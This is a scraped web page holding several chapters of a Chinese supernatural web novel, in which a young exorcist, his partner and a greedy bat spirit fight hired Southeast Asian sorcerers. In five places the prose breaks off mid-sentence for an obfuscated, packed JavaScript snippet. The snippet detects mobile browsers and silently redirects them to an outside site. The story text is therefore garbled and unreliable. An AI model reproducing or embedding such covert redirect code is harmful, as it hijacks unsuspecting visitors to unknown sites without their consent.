老蝙蝠掰起小爪子说,“从跟你到现在,我一共吃过47只鸡,却为你卖命超过五次,想想也太亏了。” 没想到它数学这么好,每次吃鸡都拿小本本记上。 老蝙蝠摇头晃脑继续说,“现在我能力提高了,价格也要变,以后每出一次手必须准备20只老母鸡。” 我直接气笑,抓起槐木牌又要抽它。 老蝙蝠身子一晃,挂在老楼横梁上,一幅你不答应我就罢工的表情。 我一看它就是狗改不了吃屎,又开始犯贱找抽。 奈何丫会飞,躲在横梁上我根本敲不到它。 没辙我只好说,“这么多鸡你一次吃得完吗,我可不想把家弄成养鸡场。” 老蝙蝠掰着小爪子算,“改造成养鸡场有什么不好的,鸡生蛋、蛋生鸡,然后鸡再生蛋,将来我有吃不完的鸡,你也可以拿这些鸡卖钱,自己当老板。” 我懒得跟它胡扯,“十只,不能再多了。” 老蝙蝠眼珠子一转,“成交,不过这次爷先不跟你上楼,在外面接应你们,到了必要的时候再出手,也能节省不少体力。” 我想着也行,万一凭我和T恤男能够搞定楼上的人,这十只老母鸡不就省下了吗? 楼内光线暗,废弃的烂尾楼没有电梯,我们只能爬楼梯上去。 一脚踏进楼梯间,阴气就扑面而来。 楼上的人不简单,不知道在这里弄了什么布置,阴气这么重。 我提醒T恤男要小心,之前没跟南洋降头师交过手,最好谨慎些。 T恤男却混若不觉,他根本不怕楼道里的阴气,走得很快。 我只能亦步亦趋跟在他后面。 老楼荒废太久了,到处是灰尘。 上了二楼,我看到不少生活垃圾。 显然,这里曾经有人住过。 正当我准备沿着地上的生活垃圾,搜寻出对方的藏身点时,T恤男忽然提醒我,“不用找了。” “为什么?” 我纳闷回头,看见他伸手往楼道里面指了指,“对方知道我们要来,根本就没有躲起来的意思,早就为我们准备好了见面礼。” 好像是为了验证T恤男的话,三楼走廊,忽然传来砰砰的拍打声。 我谨慎地抓住桃元木剑,探头探脑朝走廊看去。 空空的楼道,死寂一片。 楼内光线暗淡,飘着一股浓郁的霉灰味,什么都不没有。 “你是不是感应错了?” 我刚想对T恤男发出质疑,余光就看见一个圆滚滚的东西,忽然从走廊深处蹦过来。 圆圆的,像篮球,可上面满是血污,充斥着浓郁的血腥味道。 直到那东西靠近的时候,我才惊骇地发现,这哪儿是篮球啊,分明是个小男孩的人头! 黑色的人头,大面积腐烂,上面爬满了紫黑色的尸斑。 人头一边滚落,一边发出“咯咯”的笑声。 充满童稚的笑声在阴暗的走廊回荡,极致的反差让我小腿肚子都哆嗦起来。 T恤男表情平静,看我的眼神好像在关爱一个大聪明,“怎么你还会怕鬼?” 我说废话,鬼诶,正常人谁不怕? “……” 他彻底无语了,估计是没见过这么怂包的术士。 人头距离我们十多米,已经滚落了一半。 黑漆漆的死人头,满是腐烂的血迹,湿漉漉的,凡是人头滚过的地方,都流下一片血污。 “居然用这么幼稚的方式吓唬我们,看来是被人小瞧了。”T恤男用手摸着下巴,语气中居然带着些许不满。 我汗都下来了,难道这死人头还不算可怕? “普通的黑瞳怨鬼,根本不算什么,你去搞定它吧。” T恤男好像故意在练我的胆子,迟迟没有出手的打算。 我欲哭无泪,只好抓起一张道符,掐诀念咒,隔空朝死人头射去。 道符帖中目标,马上燃起一团大火。 死人头被阳气引燃,在烈焰下挣扎,扭曲成各种形状。 果然想T恤男说的那样,这只是低级的怨鬼,阴气并不强。 我的道符足够重创它了。 等到死人头在符火中化为灰烬,T恤男才回头给了我一个鼓励的眼色,“其实人根本没必要怕鬼,和鬼魂比起来,人心恶毒多了。” 他的话刚说完,楼层马上闪过一道黑影, 就在我用符火搞定死人头的瞬间,黑影猛地抬高手臂,朝我射来一枚透骨钉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744024|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这才是真正的杀招。 这时T恤男动了,手里翻出一把黑色短刀,刀锋一旋,精巧地挑开长钉,后撤的同时,发出一声冷笑道, “我就说吧,人心比鬼可怕,刚才的断头鬼只是幌子。” 当我把注意力集中在小鬼身上,利用道符对付断头鬼的时候。 躲在暗处的人立刻抓住机会现身,对我投出暗器。 “靠,这么阴!”我被吓出一头冷汗,自己江湖经验还是太浅了。 “做好准备吧,真正的战斗才刚开始。” 随着T恤男一声厉喝,墙壁中渗出湿哒哒的血迹,阴影下,这些血迹快速化形,升起一团团鬼雾。 浓雾中晃动着五六颗狰狞的死人头,瞬间就扑到我前面。 柿子专捡软的捏,看来躲在暗处的人知道我比较弱,所以先朝我下手。 “老虎不发猫,你还真当我病危。” 刚见鬼的时候我确实有点怕,但这会儿已经调整好心态。 桃元木剑急速上撩,配合我的舌尖血,瞬间爆出一团阳煞气息。 第一颗死人头被木剑劈成两半,砰一声炸开,形成漫天磷火。 呜呜~ 另外几颗死人头都狰狞咆哮起来,同时咧开嘴巴,露出满口獠牙啃向我。 我边打边退,对T恤男喊道,“你怎么不帮忙?” “几头低级小鬼有什么好帮的,你负责搞定它们,我去抓躲在暗处的人。” T恤男留下一句话,直接冲向鬼楼深处。 我去,你还真看得起我。 我被断头鬼逼到墙角,赶紧抽出道符,掐诀念起了控火咒。 道符无火自燃,逼退了第二颗死人头,我瞅准时机把桃元木剑刺出,洞穿了第三颗。 围攻我的死人头被搞定了一半。 看来T恤男说的没错,我最大的缺点来自于信心不足,只要挨过了心理这关,对付几只怨鬼根本就不费事。 想到这儿我信心倍增,把桃元木剑挥舞成一道风墙。 剩下三个无头鬼畏惧桃元的阳煞气息,根本不敢靠近我,带着呜呜的鬼哭声钻进一个房间。 我立马跟上,可跨进房间的同时,后背却一阵发凉。 同时头顶一黑,像是被什么东西遮住了命门天灯。 第132章 讨价还价 人不仅有三魂,对应的还有三把阳火。 分别位于双肩和头顶。 头顶上的那把火是最重要的,被称作“天灯”。 一旦天灯被拍灭,轻则霉运缠身,重则邪煞破体,当场就会一命呜呼! 这个布阵的家伙,很阴险。 来不及多想,我马上蹲下,一只手护着天灯,另一只手翻转桃元,猛地朝天顶一刺。 啵一声。 好像气球被刺破的声音,我听到一声怨毒的惨叫,抬头,一颗血淋淋的死人头被我刺个对穿。 它张大的嘴里喷出一股死气,可惜死气刚刚接触桃元,就被上面的阳煞之力强行抹除。 埋伏得再好,也只能是做无用功。 “死!” 我握紧桃元的剑柄,手心一转。 死人头砰然炸裂,形成一片虚无。 周遭的空气也变得一片清朗,刚才逃进来的无头鬼全都消失不见。 “不对劲。”我自言自语了一声,心里冒出一个十分古怪的念头。 我们进入鬼楼的事,只有有限的几个人知道。 除了黄姐,其他都是自己人。 可黄姐带我们来这儿是为了寻找她儿子,根本没有出卖我们的行踪的可能。 是谁告了密,导致对方提前有了准备? 这个念头在我脑海中反复闪烁,没能得出结论,就听到走廊尽头处传来另一声大吼,“别跑!” 说话的人是T恤来,就在我对付这几只无头鬼时,T恤男已经锁定了躲在幕后的人。 赶紧追出去,打算和T恤男一起对付这家伙。 可对方跑得很快,黑漆漆的走廊里只能听到渐行渐远的脚步声。 等我跟上去的时候,人早就没影了。 周围的漆黑环境让我很不适应,捡起地上的手电筒,再次查看起环境。 墙壁上刻满了大量血色纹路,是奇形怪状的蝌蚪纹。 暗红色的血线,密密麻麻地组合在一起,分不清具体是哪国文字。 但这些组合在一起的血色线条,却弥漫着很强的阴法波动。 显然,刚才那几只无头鬼就是受到这些符文的催动,才会疯狂地攻击我们。 我看了眼T恤男追上去的地方,心里有点着急。 对手早就知道我们要来,提前布置了鬼阵。 他这么无脑往前冲,很容易掉进敌人预先设置的陷阱。 我马上尥蹶子狂奔,打算把T恤男叫回来。 可他跑太快了,当我上了三楼,地上已经彻底没了痕迹。 “该死的……”我暗自叫骂一声,脚边却踢到一块破损的瓷砖。 我把瓷砖捡起来,对着黑漆漆的走廊丢过去。 啪! 瓷砖掉在地上,碎裂成小块到处乱滚,没有感应到危险的气息流动。 我松口气,放心大胆往前走。 可就在这时候,走廊左侧一个房间内,却有一股阴煞之力流动。 不等我看清楚,刚在楼下被我赶跑的断头鬼又再次出现。 它咧着个大嘴,一口咬向我的脖子。 危急关头我把头颅一偏,桃元从意想不到的角度刺出,笔直地刺向对方。 想象中这一剑足够把它劈成两半。 可诡异的时候发生了,桃元即将劈中目标的同时,断头鬼却狞笑一声,一头扎进墙壁消失不见。 我的木剑斩在墙壁上,传来硬邦邦的触感,虎口也被震得发麻。 墙体上出现了更多诡异的邪符文。 正是在这些邪符文的影响下,断头鬼才能做到随时隐形。 紧了紧发麻的手腕,我缓缓后退两步。 虽然很不愿意承认,但不得不说,我们中计了。 从进入老楼开始,我和T恤男的一切举动都在敌人的算计之内。 对方是故意引开T恤男,好对落单的人下手。 我深吸一口气,还真是滴水不漏啊。 现在我已经没办法跟上T恤男,只能尝试往楼下走,才能摆脱陷阱。 不过,就在我转身回头的瞬间,墙壁上的邪符文便再度闪烁了一下。 紧接着又是好几颗狰狞的断头鬼浮现。 “这是不打算让我走了吗?” 我把桃元举起来,身体靠墙,谨慎地看着断头鬼们。 断头鬼们出于对桃元木剑的忌惮,也没有马上扑过来。 只是还做一道道恶心狰狞的死人头,在楼梯间不断地蠕动着,挡住了我的退路。 “想困住我,恐怕你还做不到。” 我暴怒地发出一声厉吼,狭路相逢,不进则死,现在没时间害怕了,直接掏出五帝钱开路,用尽全力洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744025|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 断头鬼们集体发出了“呜呜”的哀嚎,被五帝钱散发的阳气烫得上蹿下跳。 我抓住机会,硬着头皮冲下楼。 这时死寂的老楼深处也传来一个男人阴恻恻的冷笑,“小子,跑得够快嘛!” 我后背一僵,下意识停下脚步,利用目光反复搜索。 可惜对方藏得太好了,这里没有光线,根本锁定不了目标位置。 “别白费力气了,你找不到我。” 男人乖戾一笑,他的声音格外沙哑,夹杂着很重的口音,一听就不是国内的。 我吸了口气,“为什么做这种事?” 男人说,“用你们中国人的话说,这叫拿人钱财替人消灾。” 我抓住了谈话的重点,“所以,你是收了雇主的钱,才会一而再再而三地搞事?” “告诉你没关系,反正你马上就变成死人了。” 躲在暗处的男人不断冷笑,小声回荡在空旷的老楼内,配合那那几只断头鬼的呜呜声,让人神志不安。 我死死靠着墙,“你就这么确定,自己一定能搞定我?” “当然!” 这家伙语气十分自信,“别指望你的朋友会会来救你,我已经安排了其他人对付他,他回不来的。” 呵呵。 我笑了。 这家伙不仅小看了我,也小看了T恤男。 以我对T恤男的了解,这么简单的鬼阵还不够资格威胁到他。 于是我扬眉笑了笑,“不如我们打个赌吧,从一数到三,你马上就要倒霉。” “哦?我怎么不信。” 男人更猖狂了,发出公鸭嗓一般的狞笑。 而我则大声吼道,“老蝙蝠,你要是还不出来,回头一只鸡都吃不到!” 现在我已经陷入了敌人的陷阱,靠自己确实很难闯出去。 可这个布置陷阱的家伙绝对想不到,在我身后不远的地方,还有另一道猥琐的身影正在偷窥这一切。 果然我的话音刚落,黑暗楼梯就传来一股劲风。 一股灰烟好似龙卷一样杀到,伴随着老蝙蝠贱兮兮的怪笑, “二十只鸡,没商量。” 靠,趁火打劫的老混蛋! 事到如今我没法拒绝,咬着后槽牙说,“搞定他,给你二十只鸡,还搞不定就给十只。” 第133章 儿子是谁的 “那你就瞧好吧。” 看在鸡的份上,老蝙蝠变得特别积极,忽然显化出一道暗黄色的影子,直接朝老楼深处扑去。 翅膀带起的风压,卷起了一大片灰尘。 “你是什么鬼?”对面的人终于开始慌了,操控那几只断头鬼围向老蝙蝠。 老蝙蝠则张大嘴,猛地一吸。 断头鬼身上的阴气根本拦不住它的吸收,纷纷发出痛苦的尖叫。 我也抓紧机会,重新握着桃元杀回去。 老蝙蝠的出现为我争取到绝佳的反击机会,我一剑一个,直接把断头鬼串了肉串。 躲在暗处的男人则叫骂一声,迅速往另一侧的楼梯跑。 我对老蝙蝠喊道,“追上去,有赏。” 老蝙蝠二话不说,身体化作一股旋风,对着脚步声离去的方向狂追。 我则喘着粗气靠墙缓了一会儿。 刚才我击杀了好几只断头鬼,体力消耗很大。 毕竟出道还不到半年,就算再天才,丹田积攒的真气也是有限的。 等我把气喘匀之后,才拎着桃元继续去追。 没想到老蝙蝠在这个时候回来,差点跟我撞了个满怀。 好在这家伙是灵体,直接从我身上钻过去了。 我说,“你怎么回来了,人呢?” 老蝙蝠挖着鼻孔说,“跑太快了没追上。” 不会吧。 这家伙跑再快,还能快得过会飞的老蝙蝠? 老蝙蝠说,“如果是在空地上,他当然跑不掉,不过这地方被人布置过,有很多隐蔽的走廊通道。” 而且这个人很擅长隐蔽自己的气息,老蝙蝠刚追上去不久就跟丢了。 我对它的回答很不满意,说你丫一看就是在磨洋工,连那十只鸡都不想要了。 老蝙蝠急了,“靠,我是担心你出意外才回来的,怎么不识好人心呢。” 不管老蝙蝠到底是不是在磨洋工,人已经跑了,说这些压根没用。 我只能带它下楼,到了刚和T恤男分手的地方等着。 我对T恤男的安全问题并不担心,他的能力比我强,就算搞不定对手,最起码能安全撤离。 果不其然,只过了一支烟的功夫,我就听到楼梯传来脚步声。 回头,我发现T恤男正捧着一个灰色的骷髅头走向我。 我马上走过去问道,“你那边什么情况?” “大意了,这家伙跑得很快,我没能留下他,但好歹发现了这个。” T恤男把那个骷髅头递过来,吓得我连连后退,说你怎么带着这么恶心的东西回来? 他皱眉说,“这是域耶,南洋降头师的招牌法器。” 东南亚那边的修行者特别喜欢用死人骨头制作法器,用来充当下降头的媒介。 刚才那几只断头鬼,都是受到人骨域耶的操控才会攻击我们。 包括顾老板身上的血咒,也是以人骨域耶为媒介进行催动。 T恤男虽然没抓住对方,却抢到了对方的法器。 有了人骨域耶,顾老板的血咒就能轻松化解。 我松口气,果然T恤男不会让人失望。 这家伙一出手就取得了这么大的战果。 反倒是我,每到了关键时候都要呼叫老蝙蝠帮忙兜底。 果真是应了那句老话,货比货得扔,人比人得死。 T恤男感应到我的情绪,安慰了一句, “你不用把自己看得太轻,我从小就开始修行,已经十几年了,你是今年刚入的行,能有这么大的进步已经很难得。” 或许吧。 我只知道,以自己现在的能力,压根满足不了大伯的期许。 更不要说替落花洞女找到极乐棺,摆脱这位大姐的纠缠了。 很快我们就带着人骨域耶走出那栋老楼。 到了停车的地方,黄姐赶紧下车跑向我们,“我儿子呢?” “很遗憾,你儿子恐怕不在这栋楼里。” T恤男摇摇头,说自己找了很多地方,并没有发现她儿子的下落。 黄姐的脚步踉跄了一下,脸色灰白,默默擦起了眼泪。 不管她性格有多强势,儿子毕竟是最大的软肋。 我安慰道,“好在我们并没有完全没有收获,至少顾老板现在有救了。” 黄姐嗯了一声,却没再说什么,拉开车门带我们回去。 回了黄家别墅,T恤男马上取出人骨域耶,步入顾老板的房间帮他化解降头。 明叔和王刚则向我打听起了情况。 我叹着气,把整个经过跟他们说了。明叔的眼角立马变得闪烁起来,若有所思朝别墅里面看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744026|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我问他是不是想到了什么。 明叔嘿嘿一笑,凑到我耳边说,“这次去老楼的事,只有我们几个人知道。” 可对方却提前做了那么多布置,差点暗算了我和T恤男。 显然其中是有人在搞鬼。 我点头说,“这点我也想到了,那你怀疑谁?” “还用问?”明叔朝我努了努嘴。 我目光跟随他指示的方向看去,一眼就看见黄姐的老公,正从书房里面走出来。 家里出了这么多事,这家伙却始终跟个没事人一样。 就算夫妻感情已经破裂,也不至于冷漠到这个地步吧。 我们假装没看见黄姐老公,继续蹲在角落抽烟。 黄姐老公也没过多搭理我们,只是礼貌性地点头笑了笑,快速钻进了一辆汽车。 明叔则急忙找黄姐要来车钥匙,丢给王刚说,“跟上去,看看这家伙究竟和什么人接触。” 王刚心领神会,马上照做。 黄姐已经乱了方寸,不理解我们为什么要跟踪自己老公。 事到如今明叔也不瞒她了,直接了当说,“你们两口子的感情应该破裂很久了吧?” 黄姐没有否认,毕竟大家都能看出来。 明叔继续问她,“还有你儿子,到底是和你老公生的,还是瞒着你老公和顾老板生下的?” 这下黄姐彻底不淡定了,惊愕地看向我们。 明叔怪笑道,“不用忙着掩饰,其实很多事就算你不说,我也能猜到。” “是……和老顾生下的。” 黄姐毕竟是个女人,承认这种事需要勇气,把头埋得很低,“可是,这个秘密只有我和老顾才清楚。” 呵呵! 闻言我和明叔都笑了。 关于黄姐背着老公偷人的事,连我和明叔两个外人都能看出来。 她老公又怎么可能猜不到? 尤其是黄姐儿子出事后,顾老板成天忙前跑后,表现得这么积极,几乎把孩子的问题摆在了明面上。 黄姐瞪大眼,“所以你们怀疑,这件事是何勇干的?” 何勇就是黄姐丈夫的名字,没等我再开口,黄姐就再次摇头, “不可能,这个窝囊废哪有这个本事?结婚二十多年,他连在我面前大声说话的勇气都没有。” 第134章 投鼠忌器 我撇了下嘴,黄姐的话验证了自己平时究竟有多么强势。 和这样的女人生活在一起很累,更何况她老公还是倒插门,这么多年下来,不知道积攒了多少怨气。 明叔说,“或许正因为你太霸道强势,做任何事都要压自己老公一头,才会引起他的报复欲。” 戴绿帽的事,没几个男人可以忍受。 更何况连儿子不是自己的。 黄姐没有说话,僵硬的脸上写满了错愕和不可置信,显然一时间难以接受。 我咳嗽道,“其实我之所以能得出这个判断,还有一个依据。” 刚才和降头师对峙的时候,对方曾经表示自己是受人雇佣,才会来黄家搞事情。 这家伙先是对黄姐的儿子下了手,接着又给顾老板下了血咒。 却偏偏没有伤害黄姐。 显然是出于雇主的要求。 试想一下,能发出这种指令的人,最有可能是谁? “你这么一说我就明白了,看来这件事的主谋还真是何勇。” 黄姐咬咬牙,“这个混蛋,当年他一无是处,还欠了大笔高利贷,要不是我收留他,早就落魄到睡大街了!” 明叔翻白眼道,“既然他一无是处,为什么你要跟他结婚?” “这是因为……” 黄姐面露难色,似乎有什么隐情。 迟疑了好一会儿,她才小声说,“当年我喜欢的人一直是老顾,可我父亲和老顾家有仇,不允许我们在一起。” 再后来,黄姐坏了顾老板的孩子,眼看肚子快瞒不住了。 她才想到临时找个人凑数。 恰好她现在的老公何勇,曾经是自己的忠实追求者。 本着找个舔狗好接盘的原则,黄姐选择了现任老公何勇。 起初她还算收敛,直到父母病逝,家里一切都由黄姐自己说了算,便彻底跟何勇摊了牌。 名义上两人是夫妻,实际上却是“雇佣”关系。 黄姐出钱,替何勇摆平在外面欠下的债。 何勇老老实实扮演好受气包的角色,无权插手任何关于黄家的事。 听完我和明叔都震惊了。 只能说城里人会玩,这么奇葩的婚姻关系究竟是怎么维持到今天的? 怪不得何勇虽然是这个家的“男主人”,但却对任何事都保持缄默。 黄姐咬牙切齿说,“我给姓何的已经够多了,他居然还这么不知足!” 明叔无语道,“你给的都是钱,却忘了给他身为一个男人的尊严。” 事情总算真相大白,这时别墅房间内也传来了一股明显的阴法波动。 我和明叔看向安置顾老板的房间,猜到是T恤男在化解降头,赶紧冲过去。 打开门一看,只见那个人骨域耶已经破碎成好几块。 顾老板上衣被解开,胸前布满了弯曲的血色条纹。 T恤男则把手按在他额头上,快速诵念咒诀。 顾老板眼球下渗出大量黑血,身体好似过电般颤抖不休。 一股浓郁的黑气从他毛孔中散发出来,不断抵御T恤男法咒念力。 不过降头媒介已经遭到损毁,血咒失去了源头,难以维持。 随着T恤男手腕一翻,将一道符印打进顾老板的身体。 大量黑色遭到驱除,瞬间被镇散了大半。 沉睡中的顾老板猛然睁开眼睛,发出痛苦的惨叫,啊—— 一口黑血从嘴里喷射而出,染红了床单和衣襟。 吐出这口黑血之后,他的呼吸反倒平稳了许多,大口喘着粗气,十分艰难地看了我一眼。 我注意他眼球上那片黑色正在淡化,目光也恢复清澈。 很快顾老板头颅一偏,再次昏死过去。 “老顾!”黄姐惊呼一声,顾不上矜持,冲上去搂住了顾老板,哭得稀里哗啦。 我和明叔则发出一声尬笑,连装都不装一下了吗? 明叔干咳一声走上去,示意黄姐想让让。 接着他替顾老板号了脉,连连摇头说,“虽然血咒已经遭到化解,但这种邪咒过于歹毒。” 顾老板气血两亏,身体虚弱得好像一颗浮草。 估计后半生再也支棱不起来了。 老小子一边下结论,一边偷瞄黄姐胸前那对“大杀器”,摇头晃脑不停说可惜了。 我满头黑线,扭头离开房间。 过了几分钟,黄姐收拾好情绪走来,询问我们还有没有别的办法帮她找回儿子。 我皱眉说,“只能看王刚回来后怎么说了。” 面前我们只是怀疑黄姐老公,却拿不出任何证据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744027|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能耐着性子等。 这一等就是好几个小时。 天黑的时候王刚终于回来,进门就嚷嚷道,“你们猜我看到了什么?” 我和明叔不耐烦道,“别卖关子,有屁就放。” 王刚看了一眼黄姐,说这个何勇果然有问题, “我跟踪他去了一条小巷,发现他买了很多吃的东西,还准备了很多生活用品。” 最终,这些生活用品都被他带进了一个废弃居民楼。 王刚担心跟得太近会被对方发现,所以就马上回来把消息告诉我们。 明叔分析道,“这么说,这个废弃的居民楼,很有可能就是黄姐儿子被藏起来的地方。” 我补充道,“包括白天跟我们斗法的人,多半也转移到了那栋居民楼里面。” 说完,我们都扭头等待黄姐拿主意,想听听雇主怎么说。 黄姐马上开口,“不管怎么样,一定要平安把我儿子带回来,至于何勇……我跟他的账可以留着以后慢慢算。” 雇主发话了,我们当然要照做。 顾不上多休息,我和体恤男,明叔以及王刚,四个人火速上车,来到了那栋居民楼附近。 这里是个城乡结合部,位置虽然偏僻,可街上的人流量却不少。 大白天不方便动手,我们只能找个地方蛰伏起来,观察对面楼层的一举一动。 期间我问了明叔一个问题,这些国外的降头师,为什么会冒着风险跑来国内做业务。 明叔说这有什么奇怪的,没钱的人拿命换钱,有钱人拿钱换命。 降头师也是人,他们拼命修法也是为了过上更好的日子。 我不认可他的话。 修行应该是实现自我提升的手段,而不是出于对利益的追求。 天色渐渐黑下来,没多久,大街上已经看不到几个行人了。 T恤男说,“何勇应该猜到自己的身份已经暴露,救人必须抓紧时间,免得他狗急跳墙,做出伤害黄姐儿子的举动。” 我迟疑道,“可他们有人质在手,我们不能贸然冲进去。” 问题有点棘手,我们不怕斗法。 怕的是对方用人质要挟。 王刚忽然说,“快看,黄姐老公下楼了。” 我们停止讨论,全都把目光投过去。 第135章 精神烙印 当我把目光投向那栋居民楼的时候,果然发现何勇正从楼梯间下来。 在他身边跟着两个打扮奇怪的家伙,一高一矮。 左边的人瘦得跟竹竿一样,皮肤很黑,穿着白色衬衣,脖子上布满了各种阴邪法符。 右边则是个身高较矮的家伙,头发乱糟糟的,像极了一个鸟窝。 这两个人一看就是南亚人的长相。 T恤男一动不动看着对方脖子上的纹身说,“这种阴法刺符,是修炼降头的典型标志。” 因为降头属于阴法,少不了要和鬼神打交道。 很多降头师会把邪神纹在身上,日夜祈祷。 到了战斗的时候,再通过特殊的法门释放刺符中的力量,以此来增强作战能力。 其次T恤男还看出,这两个家伙应该是鬼修派的人。 我对这些南洋邪术师不太了解,反问是什么是鬼修派。 T恤男告诉我,“降头也有很多种传承法门,大体可以分成鬼修派、山精派、神遗派,以及布周十面派等等……” 不同的派别,修炼的法门有很大区别。 鬼修派也叫灵修派,顾名思义就是专门跟灵体打交道。 我想起白天斗法的时候,那些从墙壁里钻出来攻击我的断头鬼,暗暗点头。 明叔冷哼,“这家伙还挺大方,居然一次请来了两个降头师,估计是没少花钱。” 我说,“而且他请降头师的钱还是黄姐给的,真特么讽刺。” 王刚则迫不及待说,“这三个家伙已经下楼,楼上只剩下一个人质,要救人,这是最好的机会。” 我们对视一眼,决定兵分两路。 明叔带上王刚,直接上楼去救人。 保险起见,我让老蝙蝠也陪王刚一起去。 自己和T恤男则跟上何勇,找机会料理那两个降头师。 商议好计划,我们立刻分头行动。 此时何勇已经带着两个降头师走向废弃楼道后巷,边走边小声嘀咕什么。 我和T恤男加快脚步,来到下风口,发现他和两个降头师起了争执, “你们太让人失望了,我已经把那几个人的情况提前告诉了你们,结果还是失败。” 两个降头师冷冷地说,“这次是我们大意了,下次肯定不会。” “还有什么下次!” 何勇怒道,“连我都快暴露了,国内已经待不下去,你们赶紧收拾东西离开,千万别被人抓住鞭子。” 高个降头师说,“要我们走也行,之前答应的好处费怎么算?” 何勇冷着脸说,“事情办成这样,你们还好意思要钱?做梦吧!” 这句话简直是在找死。 我看见两个降头师对视一眼,眼中各自闪过一道邪气。 高个降头师说,“何老板,你这是过河拆桥,既然请了我们就必须付费。” 何勇显然没意识到跟自己打交道的有多危险,不耐烦说, “我之前的计划,是伪造成有人绑架黄天浩,趁机敲她一笔,然后再撕票。” 可现在计划失败,何勇意识到自己马上就要暴露身份,已经没有敲诈黄姐的胆量。 没钱拿什么付账? 高个降头师却无法接受这样的说辞,忽然变脸,恶狠狠地掐住他脖子, “这是你的事,我们千里迢迢跑来中国,为的就是挣钱,你最好快点把钱给我们。” “你们要干什么?” 何勇一脸惊慌,忙解释自己现在拿不出钱。 “拿不出钱,那就用命来抵吧。” 矮个降头师一直没怎么吭声,忽然邪笑一声取出匕首。 就在这时候,一直蹲在我旁边的T恤男却找到机会,抬手甩出一枚钢针。 嗖! 两个降头师刚听到破空声,钢针已经插向高个降头师的左胸, 腋下三寸,准备连胳膊一起刺穿。 精准,迅捷。 高个降头师意识到危险,身上一股黑气弥漫,浮现出一只断头鬼。 正是之前偷袭我们的漏网之鱼。 可惜断头鬼根本挡不住特制的钢针。 钢针径直穿透黑影,直插目标。 “啊……”他吃痛松开何勇,踉跄着拔出带血的钢针。 “动手!” 机不可失,T恤男一个虎扑,黑色匕首在空中斩过一道虚线。 “是你们?” 矮个降头师已经认出了他,顿时大喝一声,双手合十念咒,准备召唤断头鬼帮忙。 同一时间我也出手了。 这次我没用桃元木剑,而是换成一把折叠军刀。 虽然桃元对邪气有很强的克制效果,对人的伤害却不够。 矮个降头师的胳膊刚举起来,军刀已经刺进他手背。 但我低估了这家伙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744028|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶悍。 他忍着剧痛,念完了一遍咒语。 脖子上的阴法刺符好像活过来,扭曲成一道道黑色灵体。 我后退两步,看见他身边围绕着两只断头鬼。 狰狞的鬼影发出桀桀怪笑,一左一右反击我。 我立刻挥动军刺,刺向其中一只断头鬼。 恶鬼却伸长脖子,一口咬中了军刺。 军刺虽然锋利,却无法克制灵体,刀锋被阴气裹挟,无法前进。 “小子,你去死吧。”矮个降头师操控另一只断头鬼,绕到我侧面袭击。 我冷笑一声,左手掌纹处的憎恶咒印浮现,挥手一拍,轻易掐住目标。 普通人很难抓住的灵体,被我一把掐个正着。 掌心符文旋转,一股吸力爆发。 断头鬼阴气被我吞噬了一半,身体顿时变得虚幻起来。 “混蛋!”矮个降头师怒目圆瞪,大手一挥朝我面门抓来。 弯曲的五指好像鹰爪,带着一股浓郁的煞风。 如果被他抓中脸,少说也得多出几个血窟窿。 我只能矮身下腰,一个懒驴打滚避开锋芒。 翻滚的同时,断头鬼也紧随其后,朝我额头啃来。 见状我直接丢开军刺,握住桃元木剑反撩,回手就是一刺。 